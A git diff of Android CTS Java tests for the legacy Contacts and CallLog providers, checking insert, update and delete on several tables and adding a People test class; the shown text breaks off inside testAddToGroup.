+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's organizations table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testOrganizationsTable() {
+        final String[] ORGANIZATIONS_PROJECTION = new String[] {
+                Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
+                Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
+                Organizations.PERSON_ID};
+        final int ID_INDEX = 0;
+        final int COMPANY_INDEX = 1;
+        final int TITLE_INDEX = 2;
+        final int ISPRIMARY_INDEX = 3;
+        final int TYPE_INDEX = 4;
+        final int LABEL_INDEX = 5;
+        final int PERSON_ID_INDEX = 6;
+
+        String insertOrganizationsCompany = "company_insert";
+        String insertOrganizationsTitle = "title_insert";
+        String updateOrganizationsCompany = "company_update";
+        String updateOrganizationsTitle = "title_update";
+        String customOrganizationsLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_organizations_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Organizations.COMPANY, insertOrganizationsCompany);
+            value.put(Organizations.TITLE, insertOrganizationsTitle);
+            value.put(Organizations.TYPE, Organizations.TYPE_WORK);
+            value.put(Organizations.PERSON_ID, peopleId);
+            value.put(Organizations.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    Organizations.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+            assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Organizations.COMPANY, updateOrganizationsCompany);
+            value.put(Organizations.TITLE, updateOrganizationsTitle);
+            value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
+            value.put(Organizations.LABEL, customOrganizationsLabel);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    "organizations._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+            assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    Organizations.PERSON_ID + " = " + peopleId, null, null, null);
+            assertEquals(0, cursor.getCount());
+
+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's calls table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testCallsTable() {
+        final String[] CALLS_PROJECTION = new String[] {
+                Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
+                Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
+                Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
+                Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
+                Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
+                Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
+        final int ID_INDEX = 0;
+        final int NUMBER_INDEX = 1;
+        final int DATE_INDEX = 2;
+        final int DURATION_INDEX = 3;
+        final int TYPE_INDEX = 4;
+        final int NEW_INDEX = 5;
+        final int CACHED_NAME_INDEX = 6;
+        final int CACHED_NUMBER_TYPE_INDEX = 7;
+        final int CACHED_NUMBER_LABEL_INDEX = 8;
+        final int CACHED_FORMATTED_NUMBER_INDEX = 9;
+        final int CACHED_MATCHED_NUMBER_INDEX = 10;
+        final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
+        final int CACHED_LOOKUP_URI_INDEX = 12;
+        final int CACHED_PHOTO_ID_INDEX = 13;
+        final int COUNTRY_ISO_INDEX = 14;
+        final int GEOCODED_LOCATION_INDEX = 15;
+        final int CACHED_PHOTO_URI_INDEX = 16;
+        final int LAST_MODIFIED_INDEX = 17;
+
+        String insertCallsNumber = "0123456789";
+        int insertCallsDuration = 120;
+        String insertCallsName = "cached_name_insert";
+        String insertCallsNumberLabel = "cached_label_insert";
+
+        String updateCallsNumber = "987654321";
+        int updateCallsDuration = 310;
+        String updateCallsName = "cached_name_update";
+        String updateCallsNumberLabel = "cached_label_update";
+        String updateCachedFormattedNumber = "987-654-4321";
+        String updateCachedMatchedNumber = "987-654-4321";
+        String updateCachedNormalizedNumber = "+1987654321";
+        String updateCachedLookupUri = "cached_lookup_uri_update";
+        long updateCachedPhotoId = 100;
+        String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
+        String updateCountryIso = "hk";
+        String updateGeocodedLocation = "Hong Kong";
+
+        try {
+            // Test: insert
+            int insertDate = (int) new Date().getTime();
+            ContentValues value = new ContentValues();
+            value.put(Calls.NUMBER, insertCallsNumber);
+            value.put(Calls.DATE, insertDate);
+            value.put(Calls.DURATION, insertCallsDuration);
+            value.put(Calls.TYPE, Calls.INCOMING_TYPE);
+            value.put(Calls.NEW, 0);
+            value.put(Calls.CACHED_NAME, insertCallsName);
+            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
+            value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
+
+            Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
+            Cursor cursor = mCallLogProvider.query(
+                    Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls.NUMBER + " = ?",
+                    new String[] {insertCallsNumber}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(insertDate, cursor.getInt(DATE_INDEX));
+            assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
+            assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
+            assertEquals(0, cursor.getInt(NEW_INDEX));
+            assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
+            assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+            assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update. Also add new cached fields to simulate extra cached fields being
+            // inserted into the call log after the initial lookup.
+            int now = (int) new Date().getTime();
+            value.clear();
+            value.put(Calls.NUMBER, updateCallsNumber);
+            value.put(Calls.DATE, now);
+            value.put(Calls.DURATION, updateCallsDuration);
+            value.put(Calls.TYPE, Calls.MISSED_TYPE);
+            value.put(Calls.NEW, 1);
+            value.put(Calls.CACHED_NAME, updateCallsName);
+            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
+            value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
+            value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
+            value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
+            value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
+            value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
+            value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
+            value.put(Calls.COUNTRY_ISO, updateCountryIso);
+            value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
+            value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
+
+            mCallLogProvider.update(uri, value, null, null);
+            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls._ID + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(now, cursor.getInt(DATE_INDEX));
+            assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
+            assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
+            assertEquals(1, cursor.getInt(NEW_INDEX));
+            assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
+            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+            assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+            assertEquals(updateCachedFormattedNumber,
+                    cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
+            assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
+            assertEquals(updateCachedNormalizedNumber,
+                    cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
+            assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
+            assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
+            assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
+            assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
+            assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
+            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+            cursor.close();
+
+            // Test: delete
+            mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
+            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls._ID + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's contact_methods table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testContactMethodsTable() {
+        final String[] CONTACT_METHODS_PROJECTION = new String[] {
+                ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
+                ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
+                ContactMethods.LABEL, ContactMethods.ISPRIMARY};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int KIND_INDEX = 2;
+        final int DATA_INDEX = 3;
+        final int AUX_DATA_INDEX = 4;
+        final int TYPE_INDEX = 5;
+        final int LABEL_INDEX = 6;
+        final int ISPRIMARY_INDEX = 7;
+
+        int insertKind = Contacts.KIND_EMAIL;
+        String insertData = "sample@gmail.com";
+        String insertAuxData = "auxiliary_data_insert";
+        String updateData = "elpmas@liamg.com";
+        String updateAuxData = "auxiliary_data_update";
+        String customLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(ContactMethods.PERSON_ID, peopleId);
+            value.put(ContactMethods.KIND, insertKind);
+            value.put(ContactMethods.DATA, insertData);
+            value.put(ContactMethods.AUX_DATA, insertAuxData);
+            value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
+            value.put(ContactMethods.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
+                    ContactMethods.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(insertKind, cursor.getInt(KIND_INDEX));
+            assertEquals(insertData, cursor.getString(DATA_INDEX));
+            assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
+            assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(ContactMethods.DATA, updateData);
+            value.put(ContactMethods.AUX_DATA, updateAuxData);
+            value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
+            value.put(ContactMethods.LABEL, customLabel);
+            value.put(ContactMethods.ISPRIMARY, 1);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(ContactMethods.CONTENT_URI,
+                    CONTACT_METHODS_PROJECTION,
+                    "contact_methods._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(updateData, cursor.getString(DATA_INDEX));
+            assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
+            assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(customLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(ContactMethods.CONTENT_URI,
+                    CONTACT_METHODS_PROJECTION,
+                    "contact_methods._id" + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+
+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's settings table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testSettingsTable() {
+        final String[] SETTINGS_PROJECTION = new String[] {
+                Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
+                Settings.KEY, Settings.VALUE};
+        final int ID_INDEX = 0;
+        final int SYNC_ACCOUNT_NAME_INDEX = 1;
+        final int SYNC_ACCOUNT_TYPE_INDEX = 2;
+        final int KEY_INDEX = 3;
+        final int VALUE_INDEX = 4;
+
+        String insertKey = "key_insert";
+        String insertValue = "value_insert";
+        String updateKey = "key_update";
+        String updateValue = "value_update";
+
+        try {
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(Settings.KEY, insertKey);
+            value.put(Settings.VALUE, insertValue);
+
+            try {
+                mProvider.insert(Settings.CONTENT_URI, value);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct insert operation to setting URI.
+            }
+
+            // use the methods in Settings class to insert a row.
+            Settings.setSetting(mContentResolver, null, insertKey, insertValue);
+
+            Cursor cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            // if we update with a not-existed key, it equals insert operation.
+            value.clear();
+            value.put(Settings.KEY, updateKey);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(Settings.CONTENT_URI, value, null, null);
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {updateKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(updateKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+
+            // Test: update
+            // if we update with a not-existed key, then it is really update operation.
+            value.clear();
+            value.put(Settings.KEY, insertKey);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(Settings.CONTENT_URI, value, null, null);
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {updateKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(updateKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+
+            // Test: delete
+            try {
+                mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support delete operation to setting URI.
+            }
+
+            // NOTE: because the delete operation is not supported,
+            // there will be some garbage rows in settings table.
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's extensions table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testExtensionsTable() {
+        final String[] EXTENSIONS_PROJECTION = new String[] {
+                Extensions._ID, Extensions.NAME,
+                Extensions.VALUE, Extensions.PERSON_ID};
+        final int NAME_INDEX = 1;
+        final int VALUE_INDEX = 2;
+        final int PERSON_ID_INDEX = 3;
+
+        String insertName = "name_insert";
+        String insertValue = "value_insert";
+        String updateName = "name_update";
+        String updateValue = "value_update";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_extensions_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Extensions.NAME, insertName);
+            value.put(Extensions.VALUE, insertValue);
+            value.put(Extensions.PERSON_ID, peopleId);
+
+            Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertName, cursor.getString(NAME_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Extensions.NAME, updateName);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Extensions.CONTENT_URI,
+                    EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateName, cursor.getString(NAME_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Extensions.CONTENT_URI,
+                    EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's groupmembership table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testGroupMembershipTable() {
+        final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
+                GroupMembership._ID, GroupMembership.PERSON_ID,
+                GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
+                GroupMembership.GROUP_SYNC_ID};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int GROUP_ID_INDEX = 2;
+        final int GROUP_SYNC_ACCOUNT_INDEX = 3;
+        final int GROUP_SYNC_ID_INDEX = 4;
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            value.clear();
+            value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
+            Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
+            int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
+            value.clear();
+            value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
+            Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
+            int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(GroupMembership.PERSON_ID, peopleId);
+            value.put(GroupMembership.GROUP_ID, groupId1);
+
+            Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
+                    GroupMembership.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+
+            // Check that the person has been associated with the group. The person may be in
+            // additional groups by being added automatically.
+            int id = -1;
+            while(true) {
+                assertTrue(cursor.moveToNext());
+                assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+                int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
+                if (groupId1 == cursorGroupId) {
+                    id = cursor.getInt(ID_INDEX);
+                    break;
+                }
+            }
+            assertTrue(id != -1);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(GroupMembership.GROUP_ID, groupId2);
+
+            try {
+                mProvider.update(uri, value, null, null);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct update operation to groupmembership URI.
+            }
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(GroupMembership.CONTENT_URI,
+                    GROUP_MEMBERSHIP_PROJECTION,
+                    "groupmembership._id" + " = " + id,
+                    null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+
+            mProvider.delete(peopleUri, null, null);
+            mProvider.delete(groupUri1, null, null);
+            mProvider.delete(groupUri2, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    private long getElapsedDurationMillis(long timeStampMillis){
+        return (System.currentTimeMillis() - timeStampMillis);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
new file mode 100644
index 0000000..278fe5a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.Contacts;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.People;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+public class Contacts_PeopleTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private ArrayList<Uri> mPeopleRowsAdded;
+    private ArrayList<Uri> mGroupRowsAdded;
+    private ArrayList<Uri> mRowsAdded;
+
+    private static final String[] PEOPLE_PROJECTION = new String[] {
+            People._ID,
+            People.LAST_TIME_CONTACTED,
+            People.TIMES_CONTACTED
+        };
+    private static final int PEOPLE_ID_INDEX = 0;
+    private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
+    private static final int PEOPLE_TIMES_CONTACTED_INDEX = 1;
+
+    private static final String[] GROUPS_PROJECTION = new String[] {
+        Groups._ID,
+        Groups.NAME
+    };
+    private static final int GROUPS_ID_INDEX = 0;
+    private static final int GROUPS_NAME_INDEX = 1;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
+
+        mPeopleRowsAdded = new ArrayList<Uri>();
+        mGroupRowsAdded = new ArrayList<Uri>();
+        mRowsAdded = new ArrayList<Uri>();
+
+        // insert some lines in people table and groups table to be used in test case.
+        for (int i=0; i<3; i++) {
+            ContentValues value = new ContentValues();
+            value.put(People.NAME, "test_people_" + i);
+            value.put(People.TIMES_CONTACTED, 0);
+            value.put(People.LAST_TIME_CONTACTED, 0);
+            mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
+        }
+
+        ContentValues value = new ContentValues();
+        value.put(Groups.NAME, "test_group_0");
+        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+        value.put(Groups.NAME, "test_group_1");
+        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // remove the lines we inserted in setup and added in test cases.
+        for (Uri row : mRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mRowsAdded.clear();
+
+        for (Uri row : mPeopleRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mPeopleRowsAdded.clear();
+
+        for (Uri row : mGroupRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mGroupRowsAdded.clear();
+
+        super.tearDown();
+    }
+
+    public void testAddToGroup() {
+        Cursor cursor;
+        try {
+            // Add the My Contacts group, since it is no longer automatically created.
+            ContentValues testValues = new ContentValues();
+            testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+            mProvider.insert(Groups.CONTENT_URI, testValues);
+
+            // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            int personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
